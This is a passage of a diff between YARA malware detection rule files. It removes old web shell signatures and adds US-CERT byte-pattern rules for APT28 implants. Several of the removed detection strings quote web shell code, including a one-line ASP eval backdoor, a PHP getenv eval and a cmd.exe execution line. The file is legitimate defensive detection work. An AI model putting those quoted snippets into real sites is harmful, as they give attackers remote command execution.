+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_m.yar#L32-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dc8bd60695070152c94cbeb5f61eca6e4309b8966f1aa9fdc2dd0ab754ad3e4c"
+		logic_hash = "3c9a4f5aca4c9fc26d371027a32e349a456ef25d6b403a66b9afb1ee19dd4d00"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "      out.print(\"<tr><td width='60%'>\"+strCut(convertPath(list[i].getPath()),7"
-		$s3 = "  \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control"
+		$x1 = "E:\\Projects\\m_project\\main\\mj shoaib"
+		$s1 = "\\obj\\x86\\Debug\\secure_scan.pdb" ascii
+		$s2 = "secure_scan.exe" fullword wide
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|mswall" fullword wide
+		$s4 = "secure_scan|mswall" fullword wide
+		$s5 = "[Microsoft-Security-Essentials]" fullword wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <400KB and $x1) or ( all of them )
 }
-rule SIGNATURE_BASE_Webshell_Safe_Mode_Bypass_PHP_4_4_2_And_PHP_5_1_2
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_1_V1 : FILE
 {
 	meta:
-		description = "Web Shell - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Downrage Implant by APT28"
+		author = "US CERT"
+		id = "eb3fc39b-08ca-51df-a9b4-7b28b107b700"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L110-L124"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "49ad9117c96419c35987aaa7e2230f63"
-		logic_hash = "d3d27d80f5f3adbc050a59d0c25953ec5d634344b5d051a4abdf4eeed3b8b035"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L12-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4df04daf70da482877874c530a3ad76fddebec2946931b60f98aa6c4e31f21ae"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "die(\"\\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\\n"
-		$s1 = "Mode Shell v1.0</font></span></a></font><font face=\"Webdings\" size=\"6\" color"
+		$STR1 = {6A ?? E8 ?? ?? FF FF 59 85 C0 74 0B 8B C8 E8 ?? ?? FF FF 8B F0
+         EB 02 33 F6 8B CE E8 ?? ?? FF FF 85 F6 74 0E 8B CE E8 ?? ?? FF FF 56
+         E8 ?? ?? FF FF 59}
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Simattacker_Vrsion_1_0_0_Priv8_4_My_Friend
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_1_V2 : FILE
 {
 	meta:
-		description = "Web Shell - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Downrage Implant by APT28"
+		author = "US CERT"
+		id = "c7beab50-8e73-5161-be7e-bc3f8351873a"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L125-L139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
-		logic_hash = "fc553942b06b305f7b0d5b072a8d4517b0e51229545440ea9c43e9be01d64efa"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L28-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c9bdf38303fadee3e2cfc99b70942a92ab382817a28401e8c8ab8035384c97c1"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s2 = "echo \"<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><fo"
-		$s3 = "fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
+		$STR1 = {83 3E 00 53 74 4F 8B 46 04 85 C0 74 48 83 C0 02 50 E8 ?? ?? 00
+         00 8B D8 59 85 DB 74 38 8B 4E 04 83 F9 FF 7E 21 57 }
+		$STR2 = {55 8B EC 8B 45 08 3B 41 08 72 04 32 C0 EB 1B 8B 49 04 8B 04 81
+         80 78 19 01 75 0D FF 70 10 FF [5] 85 C0 74 E3 }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Phpshell_2_1_Pwhash
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_1_V3 : FILE
 {
 	meta:
-		description = "Web Shell - file pwhash.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Downrage Implant by APT28"
+		author = "US CERT"
+		id = "517133d2-813d-5f44-84c2-a53c62d7a688"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L140-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ba120abac165a5a30044428fac1970d8"
-		logic_hash = "616c0570550cdb9394b5675864d4eec3fa62390f880817406b2a3b63952b69f0"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L45-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e418620b45bc11804eae24db3cba8421758c214fc9f660a17761bbf3395ad744"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "<tt>&nbsp;</tt>\" (space), \"<tt>[</tt>\" (left bracket), \"<tt>|</tt>\" (pi"
-		$s3 = "word: \"<tt>null</tt>\", \"<tt>yes</tt>\", \"<tt>no</tt>\", \"<tt>true</tt>\","
+		$rol7encode = { 0F B7 C9 C1 C0 07 83 C2 02 33 C1 0F B7 0A 47 66 85 C9 75 }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Phpremoteview
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_1_V4 : FILE
 {
 	meta:
-		description = "Web Shell - file PHPRemoteView.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Downrage Implant by APT28"
+		author = "US CERT"
+		id = "0362b885-de59-5715-80f2-106e5e91d1fa"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L155-L169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "29420106d9a81553ef0d1ca72b9934d9"
-		logic_hash = "2de48b8640c0f2089a4a0badb4429127cb61ac972459290041e20b959e4e0c05"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L60-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb8e4ed38e2e4d3991543c526c7dc458eec78c517d2c5eaa06a3a3cfb48d770f"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
-		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
+		$XOR_LOOP = { 8B 45 FC 8D 0C 06 33 D2 6A 0B 8B C6 5B F7 F3 8A 82 ?? ??
+         ?? ?? 32 04 0F 46 88 01 3B 75 0C 7C E0 }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_12302
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_1_V5 : FILE
 {
 	meta:
-		description = "Web Shell - file 12302.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Downrage Implant by APT28"
+		author = "US CERT"
+		id = "ac1c6175-3a8b-524b-bb18-243c52f7dba1"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L170-L185"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a3930518ea57d899457a62f372205f7f"
-		logic_hash = "0959a138abc791f17344e25e84b24888ddfe238981fc7e3ffd76c0390006ea46"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L75-L91"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e9660dfe76bfe1eb17b434f2ddef4975495e952396212c41550d932dbb8e8205"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "</font><%out.print(request.getRealPath(request.getServletPath())); %>" fullword
-		$s1 = "<%@page import=\"java.io.*,java.util.*,java.net.*\"%>" fullword
-		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$drivername = { 6A 30 ?? 6A 33 [5] 6A 37 [5] 6A 32 [5] 6A 31 [5] 6A 77
+         [5] 6A 69 [5] 6A 6E [5] 6A 2E [5] 6A 73 [5-9] 6A 79 [5] 6A 73 }
+		$mutexname = { C7 45 ?? 2F 2F 64 66 C7 45 ?? 63 30 31 65 C7 45 ?? 6C 6C
+         36 7A C7 45 ?? 73 71 33 2D C7 45 ?? 75 66 68 68 66 C7 45 ?? 66 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Caidao_Shell_Guo
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_1_V7 : FILE
 {
 	meta:
-		description = "Web Shell - file guo.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Downrage Implant by APT28"
+		author = "US CERT"
+		id = "2a28273f-d9a1-5e80-bef1-b488eb0326bd"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L186-L200"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9e69a8f499c660ee0b4796af14dc08f0"
-		logic_hash = "efb7055f42dd6be41ea3983cacea1a70b83675c8ebcb88ae3b250066a29e94eb"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L112-L124"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff8443460e1818fd63e4dcf678bb592940b32978a70ab1633ebaa61c590d3916"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<?php ($www= $_POST['ice'])!"
-		$s1 = "@preg_replace('/ad/e','@'.str_rot13('riny').'($ww"
+		$XOR_FUNCT = { C7 45 ?? ?? ?? 00 10 8B 0E 6A ?? FF 75 ?? E8 ?? ?? FF FF }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D) and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_Redcod
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V1 : FILE
 {
 	meta:
-		description = "Web Shell - file redcod.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "058266d4-8dc5-5a26-9bc6-4c55ac646e9b"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L201-L215"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5c1c8120d82f46ff9d813fbe3354bac5"
-		logic_hash = "eddfd90d27793756bcc685ffe33b2dabc3bb28b9654c33a0f99359e8b6f13678"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L126-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6708239ea43fd36a7c9431cd2c6c185c0d406d65c4a31374c5e96bdc3e53de43"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "H8p0bGFOEy7eAly4h4E4o88LTSVHoAglJ2KLQhUw" fullword
-		$s1 = "HKP7dVyCf8cgnWFy8ocjrP5ffzkn9ODroM0/raHm" fullword
+		$STR1 = { 8d ?? fa [2] e8 [2] FF FF C7 [2-5] 00 00 00 00 8D [2-5] 5? 6a 00 6a 01}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Remview_Fix
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V3 : FILE
 {
 	meta:
-		description = "Web Shell - file remview_fix.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "747e4f76-b9c4-5988-90ae-b450548b1b82"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L216-L230"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a24b7c492f5f00e2a19b0fa2eb9c3697"
-		logic_hash = "0b29ef74fb0786aefe99281360dc4fe27005eac345a36bc14259afa6fc555303"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L140-L155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ebfedcec6f22d802a9980ad533f21e90b77fe929a813850be1b25304d3973c3b"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
-		$s5 = "echo \"<P><hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n"
+		$STR1 = {C1 EB 07 8D ?? 01 32 1C ?? 33 D2 }
+		$STR2 = {2B ?? 83 ?? 06 0F 83 ?? 00 00 00 EB 02 33 }
+		$STR3 = {89 ?? ?? 89 ?? ?? 89 55 ?? 89 45 ?? 3B ?? 0F 83 ?? 00 00 00 8D
+         ?? ?? 8D ?? ?? FE }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_Cmd
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V5 : FILE
 {
 	meta:
-		description = "Web Shell - file cmd.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "0e787116-d7f5-5a72-9aba-d4e6cb35bc8d"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L231-L246"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "895ca846858c315a3ff8daa7c55b3119"
-		logic_hash = "8e72b54267c2f83b288cdd43ccd56ae4ab1f95c17f4dde077e637d951df54866"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L157-L171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0929b808f62e3c59c0afbe959ebf67a3a985e0a0a72bcb112c9693a98351555"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
-		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
-		$s3 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+		$STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33
+         C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00
+         00 00 48 8B CC E8}
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D) and all of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Sh_Server
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V6 : FILE
 {
 	meta:
-		description = "Web Shell - file server.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "ffadb02f-6311-567d-900b-c8a9ed172ab4"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L247-L260"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d87b019e74064aa90e2bb143e5e16cfa"
-		logic_hash = "9f4d940a381e7bd298a252f485d5f1d26fd191c27f6e86e8fa6028237592a8c3"
-		score = 50
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L173-L186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "93ce725a8af03d6f08eafe99ff3984e03a434b1f0071c6dbe560bafc3eefb576"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "eval(getenv('HTTP_CODE'));" fullword
+		$STR1 = { e8 [2] ff ff 8b [0-6] 00 04 00 00 7F ?? [1-2] 00 02 00 00 7F
+         ?? [1-2] 00 01 00 00 7F ?? [1-2] 80 00 00 00 7F ?? 83 ?? 40 7F}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D) and all of them
 }
-rule SIGNATURE_BASE_Webshell_PH_Vayv_PH_Vayv
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V7 : FILE
 {
 	meta:
-		description = "Web Shell - file PH Vayv.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "839041d9-e27b-52a2-b5d5-f1af595826f4"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L261-L275"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "35fb37f3c806718545d97c6559abd262"
-		logic_hash = "8769400b7b6828849f27092d790d291721c7e1b39dfd2080de5da8e59dd25523"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L188-L208"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd65443065f044a2956ae51140423dab202effff5f12dd686f6c4fd54d8a4a0b"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "style=\"BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px in"
-		$s4 = "<font color=\"#858585\">SHOPEN</font></a></font><font face=\"Verdana\" style"
+		$s1 = {10 A0 FA FD 83 3D 28 D4 1F FF 77 5? ?8 B4 50 CC 1E B0 78 D7 90 13
+         21 C0 23 3D 28 BC 78 95 DE 4B B0 60 00 00 0F 7F 38 B4 50 C8 D5 9F E0
+         25 DF F3 21 C0 28 BC 13 3D 2B 90 60 00 00 0F 7F 18 B4 50 C8 BC F2 21
+         C0 28 B4 5E 48 B5 5E 00 8D 41 FE 83 F8 06 8B 45 ?? 72 ?? 8B 4D ?? 8B }
+		$s2 = {28 D9 B0 00 00 00 00 FB 65 C0 AF E8 D3 40 28 B4 5? ?0 3C 20 FA FD
+         88 D7 A0 18 D4 2F F3 3D 2F 77 5? ?C 1E B0 78 BC 73 21 C0 A3 3D 2B 90
+         60 00 00 0F 7F 18 A4 D? ?8 B4 50 C8 0E 90 20 24 D? ?3 20 C0 28 B4 5?
+         ?3 3D 2F 77 5? ?8 B4 50 C2 20 C0 28 BD 70 2D 93 01 E8 B4 D0 C8 D4 2F
+         E3 B4 5E 88 B4 5? ?8 95 5? ?7 2A 05 F5 E5 B8 BE 55 DC 20 80 }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Caidao_Shell_Ice
+import "pe"
+
+rule SIGNATURE_BASE_IMPLANT_2_V9 : FILE
 {
 	meta:
-		description = "Web Shell - file ice.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "CORESHELL/SOURFACE Implant by APT28"
+		author = "US CERT"
+		id = "41f46b52-4b0e-53ee-a86c-503fe9a9532c"
+		date = "2017-02-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L276-L289"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6560b436d3d3bb75e2ef3f032151d139"
-		logic_hash = "d92cc9ac8630b40f23b9ff7cda5a237b4885d30de4b9b497be7512e7eb020a09"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_grizzlybear_uscert.yar#L210-L236"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5947dbb08c9d0851b7993e5ccf177f97dcb330d4b390833843f69932c921ce7a"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<%eval request(\"ice\")%>" fullword
+		$STR1 = { 8A C3 02 C0 02 D8 8B 45 F8 02 DB 83 C1 02 03 45 08 88 5D 0F 89
+         45 E8 8B FF 0F B6 5C 0E FE 8B 45 F8 03 C1 0F AF D8 8D 51 01 89 55 F4
+         33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 F4 C1 EB 07 32 1C 32 33 D2
